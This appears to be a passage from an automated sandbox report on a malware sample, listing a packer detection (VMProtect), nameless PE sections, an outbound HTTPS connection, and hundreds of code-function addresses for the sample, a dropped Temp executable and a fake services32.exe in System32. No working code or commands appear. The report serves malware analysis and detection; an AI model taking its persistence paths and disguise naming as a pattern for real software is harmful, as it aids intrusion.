date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-j

Source: unknown

HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.4:49783 version: TLS 1.2

Source: YfTokH7RIj.exe, 00000000.00000002.721958830.0000000000B5A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Detected VMProtect packer

Show sources

Source: services32.exe.7.dr

Static PE information: .vmp0 and .vmp1 section names

PE file has nameless sections

Show sources

Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6B334
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D60538
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D76658
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D8E7B0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D65918
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6CADC
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D81CDC
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00DACE3E
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_05CCEC28
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602A6C0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360396C9
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36040EE6
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36035721
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602E892
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36036581
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36032DB0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024DF1
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3603A689
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023317
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36031BD0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360293FD
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020C1C
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36041C92
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360200C0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360208E0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020120
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025152
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020178
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020190
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602A996
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020180
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360311CD
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360216CA
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020ECC
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360286D2
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022EC8
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36028EF5
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025708
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025F2F
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602371B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602673A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602D75F
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020F95
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36036796
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025788
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360217B8
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360237A1
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360227A9
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021FEE
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360357DA
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602580A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024831
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602504B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021840
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602206B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602E06D
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023878
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022861
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36028865
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023090
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602087F
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360244D3
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360234BE
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3603ACC0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602D4C5
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360224F3
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024CDF
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36027511
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021515
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020CFE
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602DD02
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023D06
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36026508
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025D22
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602CD46
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602256B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602CD70
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3603AD61
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025D92
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024D7A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022D7F
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36030D89
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360235A3
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360245CD
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360225D2
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021DC4
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360255E1
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023612
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360215FD
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602262B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36026621
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025E20
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602464A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020E47
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025671
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024E74
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602BF50
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023699
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023E81
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021EB1
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360226B0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360266B0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025EB5
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025AE6
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36026B13
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022B08
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36027308
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021B1D
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36035B1E
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024343
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020345
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602CB46
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3603A375
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602138D
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36035B7D
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36026380
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602D39B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602839E
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360253CC
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022BD4
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360233F1
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023BF9
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360313E5
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36031410
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025C12
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022405
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602D42B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36035C29
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022C4A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602544F
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602443B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024C6A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602CC75
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025C8A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021C81
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020C9D
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360210D3
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360268C9
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360220DF
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021914
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023117
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025902
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3603C11D
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023958
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602293B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021146
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602BF58
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36026963
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021991
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360221B9
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602319A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360251D1
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360211BF
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360261EF
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360241E0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360239E0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360351E8
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602122B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36026274
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025260
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024263
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022A97
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023A97
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601A6C0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360296C9
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36025721
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601E891
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360124F3
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36030D16
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010CFE
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36016508
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36026581
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36022DB0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014E74
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3602A689
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36031AC2
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013317
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014343
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601CB46
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601D39B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360193FD
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010C1C
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360100C0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360108E0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013117
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010120
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010178
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010190
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010180
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360211CD
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360151D1
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360161EF
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014263
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360116CA
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010ECC
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360186D2
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012EC8
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36018EF5
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015708
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015F2F
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601371B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601673A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601D75F
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010F95
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36026796
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015788
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360117B8
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360137A1
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360127A9
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011FEE
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360257DA
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601580A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014831
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601504B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011840
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601206B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601E06D
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013878
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012861
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36018865
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013090
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601087F
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360144D3
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360134BE
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3602ACC0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601D4C5
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014CDF
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36017511
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011515
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601DD02
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013D06
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015D22
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601CD46
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601256B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601CD70
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3602AD61
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015D92
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014D7A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012D7F
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36020D89
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360135A3
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360145CD
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360125D2
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011DC4
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014DF1
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360155E1
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013612
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360115FD
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601262B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015E20
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36016621
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601464A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010E47
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015671
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601BF50
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013699
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013E81
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360126B0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360166B0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011EB1
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015EB5
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015AE6
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36016B13
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012B08
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36017308
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011B1D
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36025B1E
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010345
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3602A375
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601138D
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36025B7D
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36016380
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601839E
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360153CC
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36021BD0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012BD4
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360133F1
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013BF9
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360213E5
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36021410
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015C12
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012405
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601D42B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36025C29
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012C4A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601544F
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601443B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014C6A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601CC75
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015C8A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011C81
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010C9D
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360110D3
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360168C9
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360120DF
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011914
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015902
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3602C11D
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015152
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013958
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601293B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011146
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601BF58
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36016963
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011991
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601A996
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360121B9
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601319A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360111BF
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360139E0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360141E0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360251E8
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601122B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36016274
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015260
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012A97
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013A97
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFA6C0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA360096C9
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36005721
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36010F36
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFE892
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36011CE2
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF6508
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0CFE
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF9549
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36006581
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36002DB0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4E74
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA3600A689
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3317
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFCB46
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF03D0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0C1C
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF08E0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3117
